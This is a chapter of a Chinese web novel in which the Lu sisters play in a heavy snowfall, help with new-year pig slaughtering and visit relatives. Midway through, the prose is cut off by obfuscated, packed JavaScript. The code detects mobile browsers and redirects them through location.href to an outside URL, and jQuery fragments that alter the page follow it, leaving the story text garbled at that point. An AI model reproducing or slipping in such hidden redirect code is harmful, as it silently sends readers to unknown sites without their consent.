陆续下了半个多月阴雨,天气放晴了没几天,一月底,终于下了这一年的第一场大雪。
毛绒般的雪持续下了一晚上,第二天一早,各家屋顶全是白花花的,地上积累的雪能有一个指节深。
这已经是风阳镇近几年来遇到的含雪量最高的雪景了。
大人们在楼下唏嘘雪大,路上不好走时,陆易安听见他们说下雪,仿佛打开了身体的开关,眼睛一睁,连忙从床上翻爬起来。
站在阳台上望过去,斜对面罗大伯家的猪圈,马路对面周大爷家的屋顶,目光所及之处皆是雪白的。
陆易安在门口大喊大叫,“陆七七,陆果果,下雪了,你们快起床啊!”
陆易宁将她掀开的被子拉下来裹着睡在床中间的陆果果,“你快把门关上,不就是下个雪吗?冷死啦!”
陆易安在阳台的围栏上团了两个雪球跑进屋,趁陆易宁还在睡觉,扔她衣服里。
“陆易安!!你烦不烦啊?”
冰冷感猝不及防地在脖子后方散开,陆易宁被雪团的冰冷刺激,连忙从被子里爬出来扯着后衣摆抖雪。
“陆七七,我跟你说,外面的雪好大!”陆易安眼睛瞪得大大的,身上只穿了秋衣秋裤,手里还团着另一个小雪球,两只手被冻得通红。
陆易宁打着哆嗦,陆果果稀里糊涂的爬起来,陆易安掰了一小块雪喂到她嘴巴里。
陆易安满怀期待地问:“好吃吗?”
“好冰啊!”
陆果果的睡意已然被冰没了。
门口的干田披上厚厚的一层雪,成为了一块天然的画板。
吃完早餐,陆易安伙同住在斜对面罗大伯家的两个小孩,该捉狗的捉狗,该捉鸡的捉鸡,捉鸭子的捉鸭子,附近没有马,那就不用了。
陆易安去郑家院子里,从鸡圈里偷偷捉了赵倩喂的一只小公鸡出来扔干田里。
罗家的孩子则是把家里刚会跑的小狗抱出来,周星也把爷爷买来过年杀的鸭子抱出家门,往田里扔。
小动物们在干田里瞎跑,从田里跑到马路上。
陆易安带着陆果果在田边看,边看边教她读小学课文《雪地上的小画家》。她读一句,陆果果一句。
“下雪啦,下雪啦,雪地里来了一群小画家。小鸡画竹叶,小狗画梅花,小鸭画枫叶,小马画月牙。不用颜料不用笔,几步就成一幅画。青蛙为什么没参加?它在洞里睡着了。”
下班回来的大人们吃完饭,看见鸡鸭在家门口,在田里乱跑,二话不说,换掉拖鞋,忙着把家禽捉回笼子里。
田里的竹叶,梅花和枫叶被大人们的鞋印弄得乱七八糟,陆易安因为偷偷把赵倩喂的鸡抱出来乱搞,被刘秀珍骂了一顿。
……
工厂排班紧,天气又冷,刘秀珍的买猪计划一直未能实施。
积雪化尽,刘秀珍只能和赵倩商量着向罗伟家合伙买一头猪杀来过年。
乡镇上无论哪家办大事,几乎周围的人都会来帮忙。除了结婚丧葬,杀过年猪也是一件大事。
杀过年猪当天,赵倩在上班。陆平、刘秀珍和郑松休息。住在街口的人也有不少在工厂里上班的,只要是在家休息的,都来帮忙了。
年关将至,光是街口附近的人家,有时候一天能宰三头猪。
男人们负责押猪,女人们负责在家门口烧热水,切肉做饭。猪下水被挂在树上或者其他比较高的地方,小孩子就负责在家门口守着刚切割完的肉和树上的猪大肠猪心肺,如果有狗过来,只管拿手里的棍子吓唬。
陆易宁和陆果果被陆易安安排守猪肉,她带着郑煦和罗伟家读学前班的小女儿罗玉美挨家挨户的串门。谁家杀了猪,就去谁家。
从家附近跑到街上转了一圈回来,每个人的手里都拿了一个猪尿泡,陆易安厉害一点,拿了俩。
陆易安当面教郑煦和罗玉美说尿泡是要用嘴对着吹的,结果她先跑回家用菜刀把刘秀珍藏在桌子底下,用来打小孩的竹棍切了半截下来。
郑煦直接塞在嘴巴里吹气,陆易宁看破不说破,“你信不信,这个跟气球一样,只要你不用力吹,它就会漏气。”
“真的?”郑煦的嘴巴刚松开,鼓起来的尿泡口就冲他嘴里漏气。
“噫~”陆易宁皱着眉头。
“yue~”郑煦呸呸呸往外吐口水,“好臭!”
陆易安切了细竹筒出来时,郑煦正跑回家喝水漱口。
“陆安安,郑阳阳说这个很臭。”罗玉美拿着尿泡,实在下不了嘴。
“用这个。”陆易安拿出竹筒,塞在尿泡口部,鼓起嘴巴往里吹气,吹完再用细线栓紧,“我爸就是这样吹给我玩的。”
罗玉美学着她吹,陆易安把另一个没吹过的给陆易宁,“你要吹吹看吗?”
陆易宁摇头,“我不要。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438387|169308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“你不要就好。”陆易安把另一个尿泡吹大,用一根长毛线系在老妈专门用来打人的竹片上,让陆果果拿着玩,“你不是想要气球吗?这个比气球还好玩。”
陆果果开心极了,像是提了一个灯笼一样提着尿泡去给杨老太看。
陆易安则是把郑煦扔地上的尿泡洗干净,重新吹大,当成皮球踢来踢去。
三个尿泡,两个被陆易安造得十分埋汰,只有陆果果的那个干干净净的被系在竹片上。
然后,下午吃晚饭时,它成功变成了一道装着糯米的菜,专门用来给陆果果治尿床。
陆果果吃完饭,找不到气球了,又哭了好一阵。
……
今年的年本来是计划回杨长过的,但是刘秀珍和陆平都被安排在过年当天值班,三个小孩白天的时间几乎都是待在赵倩的父母家,晚上才回来和父母吃年夜饭。
过完年,刘秀珍终于有时间做熏腊肉,熏完腊肉的第二天,和陆平一块回娘家。
陆平说要带孩子回去看爷爷奶奶,不出意外,他的三个女儿宁愿待在外婆家大舅舅家,也不愿去吉长。
陆平只好背着两块腊肉,一个人从杨长走到吉长。
他是当天去当天回的。
回来的时候神色恹恹的,刘秀珍就猜到发生什么了。
“你爸妈今年过年是在你哥家过还是自己过。”
“自己过。”陆平坐在火炉边,心里拔凉拔凉的,“我听大军哥说,从他们杀完猪,哥和嫂去帮忙,分完肉到现在,哥嫂就没怎么和他们俩说话。”
陆易宁陪堂哥的大儿子在火边用水彩笔画画,听到这,唏嘘又觉得正常。
刘秀珍笑了笑,“回去你爸妈是不是对你发火了,然后各种咒骂你?”
陆平没说话。
“那两块肉呢?”刘秀珍磕着瓜子问。
“收了,然后觉得我们给的少。”
陆易宁:我就猜到。
刘森抱了两只猪腿还有自家做的香肠进来,稳当地放进陆平背回来的箩筐里,“我家做得多,这些你们明天走的时候带回去。”
陆易宁伸长脖子看,“大舅舅,我妈今天刚给你家送腊肉,你又送回来了。”
“七七,你不懂,腊肉就是换着口味吃。你妈妈做的跟我做的不一样。”刘森压低声音单独对陆易宁说:“我熏的腊肉比你妈妈熏的好!”